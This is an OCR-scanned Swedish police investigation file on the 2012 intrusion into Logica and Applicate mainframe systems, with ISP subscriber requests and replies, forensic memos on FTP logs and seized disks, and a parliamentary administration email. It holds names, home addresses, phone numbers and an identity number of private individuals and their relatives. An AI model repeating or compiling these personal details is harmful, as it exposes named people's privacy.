Olle Risberg 

Enligt 6kap 22§ 2p Lag (2003 :3 89) om elektronisk kommunikation begär 
myndigheten utlämnande av uppgift som avses i 6kap l st lp  Lag (2003 : 3 89) 
om elektronisk kommunikation (uppgift om abonnemang) .  

Fråga: Vem hade i p-adressen, 
1 78 . 1 74. 1 80. 144 (Tyfon), 4 mars 20 1 2  från kl 07 :09 till kl 1 0 :42 
1 78 . 1 74. 1 72 . 1 57 (Tyfon), 4 mars 20 1 2  från kl 1 9 : 1 5  till kl 1 9 :25 

46.59 .5 1 . 1 8 1  (Bahnhof), 4 mars 20 1 2  från kl 1 0 :25 till kl 12 : 5 8  
46 .59 . 1 9 . 1 14 (Bahnhof), 2 1 mars 20 1 2  från kl 03 :45 till kl 04 :00 

Joakim Persson 

o l 0-56 366 34, 0733-3 1 5 1  6 1  
j oakim. persson@polisen. se 

Besöksadress Telefon 
1 06 75 Stockh olm 

Org .nr 
202 1 00-0076 

N orra Agn egatan 33-37 
stockhol m 

1 1 4 1 4  
Telefax 
08-401 00 66 

E-post 
pol ismyn d i g h eten.stockhol m @ polisen . s e  

www.polisen.se/stockholms_lan 



Övrigt e-post Abonnentuppg ifter från Quadracom,  20 1 3-03- 1 9 1 2 :53 d iarienr: 020 1 -K8 1 864-1 2 

Joakim Persson - Re: Fråga angående loggtider 0201-K81864-12 

Från: Olle Risberg <olle@quadracom.se> 
<joakim.persson@polisen.se> 
20 12-04- 1 0  1 6 :06 

Till: 
Datum: 
Ärende: Re: Fråga angående loggtider 020 1 -K8 1 864- 1 2  

Hej 

Jag gjorde en snabb sökning på ip vid den tidpunkten som du frågade om. Svar är: 

Mattias Gustafsson, telefon 0240406989, Timmermansvägen 1 4  vån:2, Ludvika. 

Varför inte Bahnhof svarat vet jag inte, egentligen är det inte vår kund så vi får ju inte lämna ut 
honom, en du kan fråga dem varför de inte varar och skyller på oss .  

/Olle 

5 apr 20 1 2  kl. 1 3 :  l O skrev Åke Nilsson: 

Hej Olle, 

Länskriminalen j agar mig, han skulle ringa om en timme igen om han inte fått något 
svar. 

Vad svarar jag? 

MVH 
Åke 

-------- Ursprungligt meddelande --------
Ämne: Fråga angående loggtider 020 1 -K8 1 864- 1 2  

Datum: Thu, 5 Apr 20 1 2  09 :4 1 : 30  +0000 
Från: Joakim Persson <joakim.persson@polisen.se> 

Till: ake.nilsson@quadracom.se <ake.nilsson@quadracom. se> 

Hej Åke, 

som jag sa per telefon så har vi tidigare skickat in en förfrågan med ärendenummer 
020 1 -K8 1 864- 1 2  hos oss .  I den så har vi fråga om tidpunkten 20 1 2-03 -04 1 0 :25-> 12 : 5 8 .  

I första läget intresserade av att få veta: 
Hur länge ni loggar? 
Om det finns loggar från fem dagar senare än i den ursprunglia förfrågan dvs, 20 1 2-03 -
09? 

Utifrån de svar vi :far kommer vi naturligtvis att skicka en begäran om 
abonnentuppgifter som kommer att gå via Mikael på Bahnhofs abuse team. 

Jag kan även passa på att påpeka att brottet inte rör fildelning, har fått uppfattningen att 
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Övrigt e-post Abonnentuppg ifter från Quadracom,  201 3-03- 1 9 1 2 :53 d iarienr: 020 1 -K8 1 864- 1 2 

det kan vara lättare att "hitta" loggar då : )  

Vänligen 

Joakim Persson 
Länskriminalpolisen Stockholm 
LU/IT IT -forensiska sektionen 

Telefon: 010-56 366 34 
Mobil: 0733-31 51 61 
Fax: 010-56 354 83 
E-post: joakim.persson@polisen.se 
Adress: Norra Agnegatan 33 

106 75 Stockholm 

<abonnetuppgiftsbegaran. pdf> 
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övrigt e-post Abonnentuppg ifter från Quadracom,  201 2-05-22 1 5 :00 d iarienr: 020 1 -K8 1 864-1 2 

Joakim Persson - Ang 0201-K81864-12 

Från: 
Till : 
Datum: 
Ärende: 
Kopia: 

Hej 

Piotten Öberg<piotten@riksnet. se> 
<j oakim. persson@polisen.se> 
20 1 2-04- 1 3  1 0 : 1 8  
Ang 020 1 -K8 1 864- 1 2  
Olle Risberg <olle@quadracom.se> 

Nedan ser du de uppgifter vi har på ip-adresserna. Fältet "From" är när kunden blev tilldelad ip
adressen, oftast i samband med beställningen. Därför kan det datumet och tiden vara långt tidigare än 
efterfrågade tidspunkter. Fältet "To" används när ip-adressen tas bort manuellt eller automatiskt och 
det kan hända när kunden säger upp t. ex. Vilket inte har hänt i något av detta fall då det är aktiva 
tjänster på alla. 

Mvh 
Piotten Öberg 

1 78 . 1 74 . 1 80 . 1 44 20 1 2-03-04 

Flat = 30000 1 0 1 0339 
Jack = O 
From = 20 12-03-0 1 09 :08 : 0 1  
T o  = 

Kundens förnamn Linnea 
Kundens efternamn W v-.,h·-"......., 
Kundens per·sorllli!mn� 
Kundens e-post 
Kundens telt::tormumn1e 

Objektnummer 30000 1 0 1 0339  
Gata Timmermansvägen 1 4  vån:2 Lgh:206-003-2-0204 
Postnummer 77 1 5 1  
Stad LUDVIKA 

46.59 .5 1 . 1 8 1  20 12-03-04 

Flat = 30000 1 0 1 0367 
Jack = O 
From = 20 1 1 - 1 1 -04 06 :04 :00 
To = 

Förnamn Mathias 
Efternamn Gustafsson 
Telefonnummer 0240406989 
Mobilnummer-
Gatuadress Timmermansvägen 
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Övrigt e-post Abonnentuppg ifter från Quadracom,  201 2-05-22 1 5 :00 d iarien r: 020 1 -K8 1 864- 1 2 

Objektnummer 30000 1 0 1 0367 
Gata Timmermansvägen 14  vån:2 Lgh:206-004- 1 -0205 
Gatunummer-
Lägenhetsnummer-
Postnummer 77 1 5 1  
Stad LUDVIKA 

1 78 . 1 74 . 1 72 . 1 57 20 1 2-03-04 

Flat = 30000 1 0 1 0255 
Jack = O 
From = 20 10- 1 1 -09 14 : 1 0 : 1 5  
To = 

Kundnummer 1 124- 1 02992 
Personnummer 1 2 1 2 1 2- 1 2 1 2  
Användarnarun 1 124- 1 02992 
Företagsnamn-
Förnamn Basim 
Efternamn Y aseen 
Telefonnummer
Mobilnummer-
Gatuadress skogsrundan 

Objektnummer 30000 1 0 1 0255 
Gata Skogsrundan l vån:7 Lgh:205-0 1 4- 1 -073 1 
Gatunummer-
Lägenhetsnummer-
Postnummer 77 1 5 1  
Stad LUDVIKA 

46.59 . 1 9 . 1 14 20 1 2-03-2 1 

Flat = 30000 1 0 1 0367 
Jack = O 
From = 20 12-03-06 1 6 : 1 2 :02 
To = 

Kundnummer 1 1 1 5- 1 0 1 643 
Personnummer 1 2 1 2 1 2- 1 2 1 2  
Användarnarun 1 1 1 5- 1 0 1 643 
Företagsnamn-
Förnamn Mathias 
Efternamn Gustafsson 
Telefonnummer 0240406989 
Mobilnummer-
Gatuadress Timmermansvägen 

Objektnummer 30000 1 0 1 0367 
Gata Timmermansvägen 1 4  vån:2 Lgh:206-004- 1 -0205 
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Övrigt e-post Abonnentuppg ifter från Quadracom,  201 2-05-22 1 5 :00 d iarienr: 020 1 -K8 1 864-1 2 

Gatunummer
Lägenhetsnummer
Postnummer 77 1 5 1  
Stad LUDVIKA 

· · Piotten Oberg: Nätve rkstekn iker - R iksnet � •k t .. r l :,n e=a Kontakt l pi()ttE3n@ri��net .�E3 - 0 1 0- 1 959 1 63 l Storgatan 38, 903 26 U meå 
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Övrigt e-post Abonnentuppg ifter för 0240649002 , 20 1 3-03-20 1 0 :30 d iarien r: 020 1 -K8 1 864-1 2 

Joakim Persson - Vd: SV: Fråga om telefonnummer 

Frän: 

Till: 

Datum: 

Robert Pock 

Joakim Persson 

2013-03-14 10:46 

Ärende: 

Bifogade filer: 

Vd: SV: Fr§ga om telefonnummer 

Förfr§ga n. pdf 

Hej Joakim! 

Jag vidarebefordrar svaret samt bifogar det dokument som jag bifogade i samband med förfr§gan. 
Säg till om du saknar n§gon uppgift. 

Med vänlig hälsning 
Robert 

> > >  "Stefan Kolmodin" <stefan.kolmodin@cellip.com> 5/15/2012 4:10 > > >  

H ej Robert, 

Abo n n e m a nget ä r  registrerat på en p rivatku n d :  

• M a t h i a s  G u stafsson 

• 7 6 1 1 17-7234 

• Ö p p nat 2010- 1 1-26 

• Ej avsl utat m e n  i n a kt ivt 

• Abon n e m a n gsform 

Mvh 
Stefa n 

Stefa n Ko l mod i n  
CFO 
Ce l l i p  AB 
Ö l a n d sgata n 42, 4t r 
1 16 63 Stoc kh o l m  
P h o n e :  +46 8 5 5  8 0  1 1  2 5  
M o b i l e :  +46 7 3  8 8  33 825 
www. Ce l l ip .com 

D isc la i m e r  

fö rs kotts beta lt Ce l l  i p Sta n d a rd 

This  message ( i n c l u d i n g  a ny atta c h m e nts)  co nta i n s  c o n fi d e n t i a l  i nfo rmat ion 

i nte n d e d  for a s p ecif ic  i n d iv id u a l  and p u rpose,  and is  protected by law.  If 

you a re not the i n te n de d  reci p i e nt, you s h o u l d  d e l ete this m essage a n d  a re 

h e re by not ifi e d  t h at a ny d i s c l o s u re,  copyi ng, o r  d i str ib uti o n  of t h i s  

message,  o r  t h e  t a k i n g  of a ny a cti o n  b a s e d  o n  it, i s  str ict ly p ro h i b it e d  
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Övrigt e-post Abonnentuppgifter för 0240649002 , 20 1 3-03-20 1 0 :30 diarienr: 020 1 -K8 1 864-1 2 

Från: Robert Pock [mailto:robert.pock@polisen.se] 
Skickat: den 15 maj 2012 12:52 
Till: Stefan Kolmodin 
Ämne: SV: Fr§ga om telefonnummer 

Hej Stefan, 

jag bifogar en officiell förfr§gan till dig ang§ende abonnemangsavgifter. 

Med vänlig hälsning 
Robert Pock 

> > >  "Stefan Kolmodin" <stefan.kolmodin@cellip.com> 5/10/2012 1:58 > > >  

H ej Robert, 

Vå ra rut i n e r  ä r  att då vi få r en fo rme l l/offe nt l ig fö rfråga n ( m e d  h ä nvis n i ng t i l l l a g r u m  som fö reskr ive r  att v i  
s ka l l  bortse frå n P U L) o m  att l ä m n a  ut i n format ion som o mfattas av P U L  frå n n o r m a l t  P o l i sen ,  
E ko b rotts myn d igheten e l l er skatte myn d ig h ete n så s ka l l  d e  stä l l a s  t i l l  m i g. 

Mvh 
Stefa n 

Stefa n Kol mod i n  
CFO 
Ce l l i p  AB 
Ö l a n dsgata n 42, 4t r 
1 16 63 Stock h o l m 
P h o n e :  +46 8 55 80 1 1  2 5  
M o b i l e :  + 4 6  73 88 33 825 
www . Ce l l ip.com 

D isc la i m e r  

T h i s  message ( i n c l u d i n g  a n y  atta c h m e nts) conta i n s  c o n fi d e n ti a l  i nfo rmat ion 

i nte n d e d  for a s pecif ic  i n d iv i d u a l  and p u rpose,  and is protected by law.  If  

you a re not the  i n te n d e d  rec i p i ent, you s h o u l d  d e l ete th is  m e ssage and a re 

h e re by not if ied t h at a n y  d i s c l o s u re,  copying,  or d istri b u t i o n  of t h i s  

m essage,  o r  the  t a k i n g  of a n y  a ct i o n  b a s e d  o n  i t ,  i s  str ict ly p ro h i b it e d  

Från: Robert Pock [mailto : robert.pock@polisen.se] 
Skickat: den 10 maj 2012 13:37 
Till: stefan.kolmodin@cellip.com 
Ämne: Fr§ga om telefonnummer 

Hej Stefan! 

Mitt namn är Robert Pock och jag var i kontakt med er kundtjänst för att jag har ett telefonnummer som jag 
skulle vilja veta vem det tillhör. 
De talade om för mig att jag var tvungen att kontakta dig för att f§ reda p§ det. 

Hur är era rutiner för detta? 
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Övrigt e-post Abonnentuppg ifter för 0240649002 , 201 3-03-20 1 0 :30 diarienr: 020 1 -K8 1 864- 1 2 

Med vänlig hälsning 
Robert Pock 
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Begäran om abonnentuppg ifter för 0240649002 , 201 3-03- 1 8  1 5 :58 d iar ienr:  020 1 -K8 1 864- 1 2  

Förfrågan.docx 

Polisen 
Pol ismyndigheten i Stockholms län 
Robert Pock 

Datum 

20 1 2-05- 1 5  

Enl. 6 kap 22§ 2p Lag (2003 :3 89) om elektronisk kommunikation begär myndig
heten utlämnande av uppgift som avses i 6 kap 20§ l st . lp  Lag (2003 : 389) om 
elektronisk kommunikation (uppgift om abonnemang) . 

Fråga l :  Vem är registrerad på nummer 0240649002? 
Fråga 2: När öppnades abonnemanget och eventuellt stängdes? 

Åklagare i ärendet är kammaråklagare Hemik Olin (072-232 69 26) .  

Robert Pock 

Tel: 0 1 0-56 366 3 1  
ro bert . pock@polisen. se 

1 &1 



Polismyndighet 

Stockholms län 
Enhet 

PM 
FTP- och HTTP-trafik ti l l  Math ias G ustafsson 

Signerad av  

Signerad datum 

Diarienr 

LU/SF "AVSTÄLLD" Förmögenhetsgrupp 020 1 -K8 1 864- 1 2  
U ppgiftslämnare 

Wahlström, Olle 
Beslag verkställt 

Nej 

Mottaget 

Sätt på vi lket uppgift lämnats 

U pprättad av 

Olle Wahlström 

Uppgiften avser 

Uppgift 

Logi ca 

Material för analys 

Nej 

Datum Tid 

20 12-04- 1 7  1 6 : 37  

Mottaget datum Tid 

I logicas logg över ftp-trafik, TCP _FTP _SERVER, finns l 1 92 poster från ip-adresserna 
46 .59 . 1 9 . 1 14 och 46 .59 .5 1 . 1 8 1 .  Tre poster är mot Logicas volym SYS3 och övriga mot 
SYS 1 9 . I l 1 62 av posterna är kommandot RETR kört vilket motsvarar hämtning av filer 
från systemet. Övriga kommandon som körts är DELE, STOR och LOGN vilka motsvarar 
radera, lagra och inloggning. 

Den mängd data som förts över till i p-adressen 46 .59 .5 1 . 1 8 1  enligt loggfilen är 2 50  l ,9 MB . 
En del av filerna är dataset tillhörande Logicas kunder och en del filer är systemfiler. Endast 
en fil har förts över till systemet, tfy. source.backdoor, den 6 mars klockan 1 7 .45 . Samma fil 
raderades sedan från den aktuella ip-adressen klockan 1 7 .53  samma dag. Från ip-adressen 
46.5 9 . 1 9 . 1 14  finns endast kommandot LOGN registrerat. 

Den första posten från ip-adressen 46 .59 .5 1 . 1 8 1  är registrerad den 4 mars 20 1 2  klockan 
1 0 .25 och den sista posten den 8 mars klockan 14 : 5 1 .  lp-adressen 46 .59 . 1 9 . 1 14 finns med på 
tre poster, samtliga från den 20 mars 20 1 2  klockan 2 1 .08-2 1 .09 

Det finns 1 6  olika användarkonton registrerade för de olika frp-posterna. De konton som 
använts är ANONYMOU, ASI0903 , ASI0936,  ASIB452, BPXDFLTU, BSN0058,  i, 
LUCIDDRE, MCT0290, SPRBIO l ,  SPRBI02, SPRBI07, SPRBI08,  SPRBI 1 8 , SPRBI45 och 
UPJSLO l .  

Applicate 
I den logg som erhållits från Applicate över slagningar i Infotorg finns 2 55 1 poster från 
lP-adresserna 46 .59 . 1 9 . 1 14  och 46 .59 .5 1 . 1 8 1 .  Fr.o.m. den 4 mars 20 1 2  klockan 1 2 .26 och 
fram till den 9 mars klockan 08.07 används ip-adressen som slutar på 1 8 1 .  Från den 20 mars 
klockan 1 6 . 1 8  och fram till den 2 1 mars klockan 03 .54 används ip-adressen som slutar på 
1 14.  

Sammanlagt har tre olika användarkonton använts för slagningarna, BSN0058,  ITS8665 och 
KPK0240. 

39 



FTP- och HTTP-trafik t i l l  Mathias Gustafsson ,  PM ,  201 2-04- 1 7 1 6 :37 d iarienr: 020 1 -K8 1 864-1 2 

Slagningar i systemet från de aktuella ip-adressema är bl.a. gjorda på Mathias Gustafsson, 
Kennet Gustafsson (Mathias pappa), !rene Gustafsson (Mathias mamma), fredrik Gustafsson 
(Mathias bror), Kitty Gustafsson (Mathias syster) och Robin Åström (kamrat till Mathias) . 
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PM 1 204 1 7 Aktuel la adresser och l P-nummer, 20 1 3-03-20 1 0 :35 d iarienr :  020 1 -K8 1 864-1 2 

Polisen 
Rikskrim ina lpol isen 

KPE-KUT 

Per Englund 
krinsp 

Aktuella adresser och lP-nummer 

Per Englund 

PM 1 204 1 7  Aktuel la adresser och IP-nummer.docx 

PM 

Datum 

20 1 2-04- 1 7  

Gustafsson, Mathias 
lP-m: 46.59. 1 9 . 1 1 4 
lP-nr: 46.59 .5 1 . 1 8 1  
Timmermansvägen 1 41, 
lgh 1 1 03 



Polismyndighet 

Stockholms län 
Enhet 

L U /S Specialbrottsektion 
U ppgiftslämnare 

Steenmark, John G 
Beslag verkstäl lt 

Nej 

Mottaget 

Sätt på vi lket uppgift lämnats 

Telefon 
U pprättad av 

John G Steenmark 

U ppg iften avser 

Samtal med Logica 
U ppg ift 

Material för analys 

Nej 

Tjänsteanteckn i ng 
Anders Sandel i  

Signerad av 

Signerad datum 

Diarienr 

020 1 -K8 1 864- 1 2  
Datum Tid 

20 1 2-03-28 1 1 :37  

Mottaget datum Tid 

20 1 2-03-28 1 0 :45 

Den som tagit emot Lagergrens laptop var Christian Grieger uppe på kontoret i Borlänge. Det 
skedde tisdagen den 20 mars . Vad som sades till Grieger var att datorn hade betett sig konstigt 
och han var rädd att han fått något virus. Datorn skickades sedan upp till Stockholm och har 
legat i Sandelis säkerhetsskåp till polisen fick datorn. Lagergren sjukskrev sig sedan direkt 
efter inlämnandet. 

Sandeli ombads att inte nämna något om polisutredningen eller om att datorn var hos polisen. 

Lagergrens personnummer skulle vara 53 1 1 1 2-7 1 37 .  Han var anställd som s .k. Mainframe 
tekniker. Han skulle arbeta i både C 1 9  och C3 . 

Lagergren hade haft kontakt med en hr kille vid namn Peter Ronsjö  med tfn 073 3982 1 49 .  
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Skiss Skiss Appl icate vs Log ica ,  201 2-08-23 1 3 :28 d iarien r: 020 1 -K8 1 864- 1 2 
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Polismyndighet 

Stockholms län 
Enhet 

LU/S Specialbrottsektion 

Uppg iftslämnare 

Steenmark, John G 
Beslag verkstäl lt 

Nej 

Mottaget 

Sätt på vi lket uppgift lämnats 

Telefon 
U pprättad av 

John G Steenmark 

Uppgiften avser 

Material för analys 

Nej 

Samtal med personal från Logica 
U ppgift 

Tjänsteanteckn ing  
Signerad av 

Samtal med persona l  från Log ica Signerad datum 

Diarienr 

020 1 -K8 1 864- 1 2  

Datum Tid 

20 12-03-27 1 2 : 37  

Mottaget datum Tid 

20 1 2-03-27 12 : 30  

Under tecknad samtalade inledningsvis med Robert Malmgren, inhyrd säkerthetskonsult för 
Logicas räkning. Han uppgav att loggfiler från deras operativsystem plockas ut ur ett system 
som kallas SMF. Det finns inte vanliga loggfiler såsom i ett vanligt Linux/Unixsystem. Han 
ombad oss på ett klart och detaljerat sätt skriva ner vad vi ville ha ut ur detta system. De 
skulle ha speciell kompetens för detta under kvällen och några dagar framåt. Frågeställningen 
skulle mej las .Den arbetet man höll på med för stunden var i huvudsak C 1 9 . 

Samtalet forstsatte sedan med Anders Strandell, säkerhetschef. Han uppgav att en selekterad 
FTP logg, dvs ett urval av de konton som gjort något man ansåg vara intressanta, hade 
skickats till Morgan Larsson och även en en excelfil med uttaget filmaterial samt en 
incidentrapport från 20 1 0 . Han skulle även mejla över namnet till på en anställd som var 
intressant. Det som skedde i Bromölla var att man sorterade de dataset och filer i olika 
kategorier för att på så sätt få en överblick och en möjlighet att kontrollera eventuella 
förändringar. 

46 



PM PM Gä l lande El isabeth Gummasson Log ica, 201 3-03-27 1 5 :45 d iarienr: 020 1 -K8 1 864- 1 2  

tempdoc.docx 

Polisen 
Pol ismynd igheten 
i stockha lms län 
JOHN STEENMARK 

PM 

Datum 

20 1 3 -03-27 

Diarienr (åberopas v id  korresp) 

K8 1 864- 1 2  

P m  gällande visning av fynd , i beslagtagna datorer i ärende 
K81 864-12 för Elisabeth Gommesson f. 750415-2740 

Beslagspunkten 2012.0201-BG 10221-19 

Elisabeth förevisades följande data som påträffats på oallokerat område 
på hårddisken: 

DSN090 1 5DB2AI SEDAF AOOSESEM2AISEMCICA3 SASS 
ENTRITS200 1 5ITS2 E484P0 1 0 1 990·7 1 87-054-3850-
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ENTRITS200 1 5SEMCICA3E484P0 1 0ITS2 · · · · · · · · · · · · · · · · · · · · · · · · · · · ·  
· · · · · · · · · · · · · · · · · · · · · ·«y·Wå0 

J o · · · • ] SY1 9 · · · · · ·TERMRoi>&iUdCB 1P. · · · · · · : <· ·TCPFTP GTINYTE · · · S · · • J 
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Hon uppgav att hon inte visste exakt vilken data materialet utgjorde. Hon 
trodde att datan i grunden kom från någon form av logg eller dumpfil. Kombi
nationen av termer talade för att datamaterialet kom från deras system. 

Hon kände igen termer som "Semicica3" som var en unik term för Logica och 
Applicate . 
Termen "GTNYTE" var ett användarid för kund i Sys l 9 . "7 1 87-054-3 850-
E077" var ett kundordemummer. 

l ISRSUPC - MVS/PDF FILE/LINE/WORD/BYTE/SFOR COMP ARE UTILITY- ISPF FOR 
z/OS 2006/ 1 0/27 1 4.22 PAGE l 

LINE-Ä SOURCE SECTION SRCH DSN: E342 .EDIMEMO.RETRIEVE 

58  *** *** * * **** ****** END OF MEMO SÖ06063292 * * * * * * * * ********  
1 1 6 * * ****************  END OF MEMO SÖ06063292 * * * * * ***********  
1 74 * * * ******* ******** END OF MEMO SÖ06063292 * * * * * * * * ********  
233 * * * *************** END OF MEMO SÖ06063292 * * * * * * **********  
290 * * ******* ********* END OF MEMO SÖ06063292 * * * * * ***********  

347 * * ******* ********* END OF MEMO SÖ06063292 * * * * * * * *********  
404 * ****** *********** END OF MEMO SÖ06063292 * * * * * * **********  

462 * * * * * * * * * ********* END OF MEMO SÖ06063292 * * * * * ***********  
520 * * ********* ******* END OF MEMO SÖetOOOOO l * * * * * * **********  

578 * * * * * * * * * * ******** END OF MEMO SÖet000002 * * * * * * **********  
636 * * * ****** ********* END OF MEMO SÖet000004 * * * * * * **********  

694 * * * * * * * * ********** END OF MEMO SÖet000003 * * * * * * * * ********  
752 * * * ******* ******** END OF MEMO SÖet000003 * * * * * * * *********  

8 1 0  * * * * * * * * * * ******** END OF MEMO SÖet000003 * * * * * * **********  
868 * * * *************** END OF MEMO SÖet000003 til * * * * * ** *** ** ****  

926 * * * * * * * * * * * *******  END OF MEMO SÖet000003 fel * * ** ** * *** ** ****  

l ISRSUPC - MVS/PDF FILE/LINE/WORD/BYTE/SFOR COMPARE UTILITY- ISPF FOR 
z/OS 2006/ 1 0/27 1 4.22 PAGE 2 

SEARCH-FOR SUMMARY SECTION SRCH DSN: E342 .EDIMEMO.RETRIEVE 

LINES-FOUND LINES-PROC DATASET-W/LNS DATASET-WO/LNS COMPARE-COLS 
LONGEST -LINE 

1 6  926 l o 1 : 1 60 1 60 

PROCESS  OPTIONS USED: ANYC 

THE FOLLOWING PROCESS STATEMENTS (USING COLUMNS l : 72) WERE PROCESSED:  
SRCHFOR 'END OF MEMO' 

ISRS004I LISTING LINES MAY BE TRUNCATED DUE TO LIMITING OUTPUT LINE 
WIDTH. 
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Materialet i ovanstående textruta bedömde Elisabeth som en logg från en sök
ning i ett dataset vid namn : E342 .EDIMEMO.RETRIEVE. Detta datasets 
namn var unikt för Logicas system. 

SYSTEM-04 WWWSOLT Systemuser Leif Ohlin InfoTorg AB 
WWWSHJl Systemuser Leif Ohlin InfoTorg AB WWWPOOL Systemuser Leif 

Ohlin InfoTorg AB WWWNA V l Systemuser Leif Ohlin InfoTorg AB 
SVUNY02 Pgm-pgm,intemt SHJ arkivKerstin WardmanlnfoTorg AB SGIPOOL Systemuser, 

jobbuser Leif Ohlin InfoTorg AB SEMA478 Programuser Rättsbanken Marie Sahlsten Info-
Torg AB RBBEVO l Programuser RE-bevakning M Sahlsten InfoTorg AB PRVBAS 

etersson Tobias InfoTorg AB ONTEST5 Karlsson Rosita InfoTorg AB 
ONTEST4 Karlsson Rosita InfoTorg AB ONTEST3 Karlsson Rosita 

InfoTorg AB ONTEST2 Karlsson Rosita InfoTorg AB ONTESTl Karlsson 
Rosita InfoTorg AB NETIQ02 Övervakning Infotorg Drift ApplicatelnfoTorg AB 

NETIQO l Övervakning InfoTorg Drift ApplicatelnfoTorg AB 

I ovanstående data kände Elisabeth igen två stycken namn: Leif Ohlin och 
Rosita Karlsson som var anställda på Applicate. 

Beslagspunkten 2012.0201-BG10221-29 
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Denna katalogstruktur kände Elisabeth igen som unik för systemen hos Logica 
och Applicate . 

En fil som hette 'A 679.DAFA. WMTHOHRMMEXP.Dl 0021 6 '  med storleken 
32,75 MB. Det var en textfil med en förteckning av en stor mängd dataset 
unika för Logica och Applicate enligt Elisabeth. 

Beslagspunkten 2012.0201-BG10221-13 

• En fil vid namn databaser där det går att se en listning av filer i en da
tor vid namnftp. infodata.se. Elisabet sade att listningen stämde med 
deras system. 

• En fil som heter kontoin/o som innehöll en förteckning på 1 02 konton 
med lösenord och i de flesta fall behörigheter. Elisabeth kände igen 
kontonamnen och tjänsterna. 

Beslagspunkten 2012.0201-BG25023-1 

• I katalogen "Partition 1/user /apt44/tmpld044/", i den komprimerade 
filen "Partition l /user/apt44/xaa " med underkatalogen 
"/Untitled0/tmpld044/" samt i den komprimerade filen "Partition 
lluser/apt44/nff.tar. lzma " med underkatalogen "/nff.tar/tmp/d044 " på
träffades totalt 5 1 1 datasett med namnprefixet D044 varav 277 unika. 
D044Det prefix Logica använder för dataset tillhörande skatteverket. 
• 

• Elisabeth kände igen dessa filer från Logicas miljö .  Hon hade 
gjort stickprov men dessa filer vara äldre versioner. 

Mathias Gustafssons Ubuntu One material 

• 1 4 1 3  unika dataset har påträffats i filstrukturen. Elisabeth uppgav att 
"i stort sett allt" var bekant och ifrån Logicas servermiljö .  Hon hade 
gjort en 20-30 stickprov och hittat många dataset som både matchade 
och fanns kvar. 

�o 
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Joakim Persson - Ang. Intrång 

Från: 
Till : 
Datum: 

Lars Grundström<lars.grundstrom@riksdagen.se> 
"Morgan Larsson" <Morgan.Larsson@polisen.se> 
20 12-03 -30 1 7 :47 

Ärende: Ang. Intrång 
Kopia: Helen Tömqvist<helen.tomqvist@riksdagen. se> 

Hej Morgan (Chefsju rist Helen Törnqvist för kännedom) ,  

Som svar på de frågor du  stäl l t  i de två mej l  du  skickat t i l l  m ig .  

AVIY356 är  ett användar-id som Riksdagsförvaltn ingen (RDF)  har fått ti l lde lat s ig från leverantören .  Detta 
användarkanta har använts (ti l l sammans med ett lösenord som leverantören själv valt och därefter meddelat 
RDF) för identifiering mot en FTP-tjänst som leverantören ti l l handahål ler  och ansvarar för. En l igt 
överenskommelse (krav från RDF) med leverantören skul le leverantören konfigu rera FTP-tjänsten så att det 
endast sku l le vara möj l igt att logga i n  med dessa (RDF:s)  kontouppg ifter från RDF:s  egna l P-ad resser 
( 1 9 5 . 6 7 . 8 8 .  2 2 2  a lt . 1 9 5 . 6 7 . 8 8 .  2 1 9 ) .  Anslutn i ngar från andra l P-ad resser med RDF:s  
i n loggn i ngsuppgifter sku l le  därför inte vara möj l iga.  

När  RDF gör s ina automatiserade körn i ngar gentemot leverantören så sker dessa (som det verkar) 
regel mässigt på fredagar och då under kontorstid (ca 08:00?) .  Dessa körn ingar pågår  i normalfa l let i nte 
längre än 30-40 sek då antalet person-poster som ska uppdateras är relativt få ti l l  antalet ( <1 00 ) .  

RDF har  genomfört sökn ingar i systemloggar och  kan inte h itta någon datatrafi k som härrör från RDF :s  it
system och som överensstämmer med det datum och de t idpunkter som ang ivits i mej let som ni skickat (se 
nedan) .  Vi kan däremot se att vi det genomfördes en FTP-körn i ng mot leverantören  fredagen den 24 :e  
februari .  Denna körn i ng genomfördes med lyckat och  förväntat resu ltat. Nästa FTP-körn i ng gjordes fredagen 
den 2:a mars .  

Beskrivn i ng av FTP-tjänst i korta d rag 
1 .  RDF l oggar i n  på leverantörens FTP-tjänst och skickar (typiskt onsdagar) över en  bestä l ln ing om 
uppdateri ng av person uppg ifter. Bestäl l n i ngen baseras på en l ista med person n u m mer som RDF skickar ti l l  
leverantören . 
2 .  Leverantören  mej lar  RDF (typiskt torsdagar) och meddelar/aviserar att en körn ing har genomförts för de 
personn ummer som RDF bestäl l t  uppdaterade person u ppg ifter om .  Resu l tatet av körn i ngen finns  därmed klar 
att hämta dagen efter avisering .  
3 .  RDF l oggar i n  på leverantörens FTP-tjänst och hämtar (typiskt fredagar) de  u ppdaterade personuppg ifter 
som leverantören pub l icerat. 

Al l  i n loggn ing  och kommun ikation en l igt ovanstående beskrivn ing sker helt automatiserat vi l ket i nnebär att det 
i nte är någon person inom RDF som använt i n loggn ingsuppg ifterna för att logga in mot leverantörens FTP
tjänst. 

Det förekommer inga kontou ppg ifter i dessa transaktioner med leverantören som kan användas för att logga 
i n  på servrar e l ler  tjänster som RDF ansvarar för. Det före l igger således ingen risk för att en potentiel l  
angri pare som attackerat leverantören där komm it över i nformation som sku l le  ku nna användas för att utföra 
angrepp e l ler data intrång mot RDF:s it-m i ljö .  

Under mars månad har leverantören ändrat de i n logg n ingsuppg ifter som leverantöre n  försett RDF med , för 
åtkomst t i l l  FTP-tjänste n .  Denna förändring  genomfördes utan att leverantören meddelat e l ler i nformerat RDF .  
Förändri ngen i n nebar att RDF i nte ku nde hämta uppdateri ngar av personuppgifter v ia  leverantörens FTP
tjänst varpå RDF kontaktade leverantören .  RDF fick då nya i n loggn i ngsuppgifter t i l l  l everantörens FTP-tjänst 
med motivering att det skett förändringar på g rund  av att det stä l lts "nya högre säkerhetskrav" . 

RDF bistår gärna med det RDF kan bistå med i den pågående utred n ingen . 
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Jag ser gärna  att jag får träffa någon som ansvarar  för u tredn i ngen för att bättre kunna b istå i utred n ingen . 
RDF är  också mycket angelägna om att snarast möj l igt få klarhet i vad för slags personuppg ifter som 
utredn ingen hand lar  om för att sjä lva ku nna göra en bedömning om det är  personuppgifter ti l l hörande 
riksdagens talman ,  riksdagsledamöter (t i l l i ka personer  som i ngår i den så kal lade "centra la statsled n ingen") ,  
tjänstemän e l ler  parti kans l ianstä l lda (pol it iska) tjänstemän som RDF hanterar i si na egna system .  Om så är 
fal let kan det föran leda att RDF t i l lsammans med SÄPO kan komma att behöva se över aktue l l  
hotb i ldsbedömning för personer med skyddsbehov i det  fal l  sådana personer  ingår i den g rupp av 
personu ppgifter som möj l igen kan ha kommit på avvägar. 

När det gäl ler det lösenord som du  efterfrågat så ber jag att få återkomma med information om detta u nder 
måndagen .  Det gä l ler då det t id igare lösenordet som numera är utbytt . 

